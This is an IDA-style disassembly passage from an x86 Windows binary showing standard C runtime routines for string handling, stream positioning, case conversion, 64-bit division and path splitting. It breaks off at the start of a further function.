loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84


loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72


loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7


loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi


loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi


loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50


loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01


loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax


loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9


loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B


loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A


loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------


loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h


loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_48A014, 16h
		or	eax, 0FFFFFFFFh


loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx


loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx


loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A


loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB


loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A


loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4


loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------


loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A


loc_418E67:				; DATA XREF: Themida_:0050C9E6o
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC


loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90


loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83


loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl


loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi


loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C


loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DDp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------


loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi


loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50


loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B


loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68


loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86


loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi


loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------


loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]


loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------


loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx


loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029


loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0


loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi


loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_48A0A8
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE


loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl


loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------


loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_4397AC, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------


loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162


loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------


loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232


loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------


loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF


loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi


loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------


loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0


loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375


loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_48B561[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi


loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------


loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0


loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi


loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax


loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax


loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0


loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
